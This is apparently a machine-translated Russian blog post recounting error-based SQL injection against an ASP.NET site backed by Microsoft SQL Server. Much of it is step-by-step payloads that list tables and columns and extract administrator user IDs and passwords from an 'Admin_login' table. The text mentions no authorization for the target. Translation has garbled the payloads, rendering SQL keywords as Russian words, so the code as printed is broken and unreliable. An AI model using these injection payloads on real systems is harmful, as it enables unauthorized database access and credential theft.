Здравствуйте, я Атмананд Нагпуре (proghax333). Я компьютерный исследователь и хакер. Это история о том, как я нашел способ извлечения данных из базы данных Microsoft SQL Server путем создания необработанных исключений .NET. Этот метод работает там, где в исходном запросе есть соединение, объединение или другие элементы.

Проблема:
Итак, проблема, с которой я столкнулся, заключалась в следующем: я пытался внедрить объединение на веб-сайте, но веб-сайт не давал мне нужного количества столбцов в ответе, когда Я пробовал использовать инъекцию в стиле order by. Он дал мне количество столбцов первой таблицы в группе объединенных запросов. Итак, я попытался придумать другой подход для извлечения данных из запроса.

Достаточно интересно, что из инъекций и недопустимых входных данных я узнал, что серверной технологией был сервер Microsoft SQL. Итак, решил поискать какие-нибудь эксплойты. Но они не работали.

Помните, я пытался извлечь данные. Не пытался выполнить запрос вставки или запрос обновления.

Итак, я попробовал сравнение незамкнутых строк в операторе AND, прикрепленном к исходному запросу. Вот как это выглядело:

URL: http://www.example.com/Department/FacultyDetailViewN.aspx?Id=PI817 'и 1 = - - +

Хорошо, теперь я действительно заинтересован. Начали думать, что как-то можно извлечь данные, заложенные в получившуюся ошибку. Пусть появится ошибка. Извлечь данные с ошибкой.

Решение:

Итак, помня об этом видении, я начал писать вложенный SQL-запрос и сравнивать его с целым числом: 1, как показано ниже:

? Id = 817 'и 1 = (выберите table_name из information_schema.tables) - - +

И это дало мне это ... Умм ... Да ... Но это не было большой проблемой ...

Итак, я решил вернуть только одну строку в качестве результата запроса. В целях тестирования я использовал select top 1, который возвращает первую строку таблицы. Так что да ... Я использовал это и Вуаля! Я получил первое table_name из information_schema.tables!

? Id = 817 'и 1 = (выберите 1 верхнее имя_таблицы из information_schema.tables) - - +

Итак, после решения первой проблемы возникла еще одна проблема, связанная с синтаксисом языка SQL Server: НЕ БЫЛО НИКАКОГО синтаксиса «LIMIT m, n» для MSSQL !!! Нет оператора дальности !!! Что делать сейчас? Потому что сравнение может происходить только между однозначными значениями.

Затем я обнаружил, что использовал отличный способ взлома SQL Server, который объединяет все строки в один XML. Легендарный хакер FOR XML (‘’)!

Примечание. Функция DB_NAME () возвращает имя текущей базы данных в MSSQL.

Вот что я сделал:
? Id = 817 'и 1 = (выберите cast (concat (db_name (), 0x3a, 0x3a, table_name, 0x0a) as varchar (8000)) из information_schema.tables для xml path (' ')) - - +

Следующим этапом было получение столбцов таблицы Admin_login. Просто использовал общее условие where.

? Id = 817 'и 1 = (выберите приведение (concat (db_name (), 0x3a, 0x3a, column_name, 0x0a) as varchar (8000)) from information_schema.columns, где table_name =' Admin_login 'для пути xml (' ')) - - +

Теперь все было просто. Единственное, что мне нужно было сделать, это выполнить простой запрос SQL Select к таблице:

817 'и 1 = (выберите приведение (concat (UId, 0x3a, 0x3a, Pwd, 0x0a) as varchar (8000)) из Admin_login для пути xml (‘’)) - - +

Вот и все! Это был мой первый подход!

Подход 2 (правда? А?)

Итак, вот еще один запрос, который я использовал для извлечения данных строка за строкой с помощью простого взлома: функция ROW_NUMBER ().

817 'и 1 = (SELECT concat (0x35,0x34,0x35,0x31,0x35,0x46,0x46,0x41,0x45,0x39,0x42,0x32,0x37,0x36,0x39,0x31,0x41,0x31,0x30, 0x31,0x41, db_name (), 0x3a, 0x3a, table_name, 0x37,0x41,0x46,0x34,0x35,0x38,0x36,0x30,0x43,0x41,0x35,0x45,0x43,0x38,0x46,0x41,0x43,0x45, 0x37,0x33) FROM (SELECT ROW_NUMBER () OVER (ORDER BY (выберите NULL как noorder)) AS RowNum, * FROM information_schema.tables) как псевдоним WHERE RowNum BETWEEN 1 AND 1) - - ”;

Вау! Большой запрос ... Но этот шестнадцатеричный материал предназначен только для извлечения данных с помощью специального сценария PHP, написанного для извлечения данных с помощью CURL API. Я выполнил запрос GET. Сценарий проверил данные, возвращаемые базой данных. Это было возможно, потому что этот HEX-материал - не что иное, как уникальная строка, которая просматривается JavaScript RegEx. Он извлекает подстроку, ограниченную этой уникальной строкой. Затем повторяющиеся данные удаляются с помощью специально написанной функции JavaScript.

Таким образом, разработчики должны проявлять максимальную осторожность и меры предосторожности, чтобы обеспечить безопасность данных и не допустить утечки интерфейса и прямой ссылки на объект посторонним. Обновите свои серверы до последней версии Microsoft SQL Server 2017 или более поздней версии.

Это все на сегодня!

С уважением,
Атмананд Нагпуре (proghax333).

Подпишитесь на Infosec Write-ups, чтобы увидеть больше таких замечательных статей.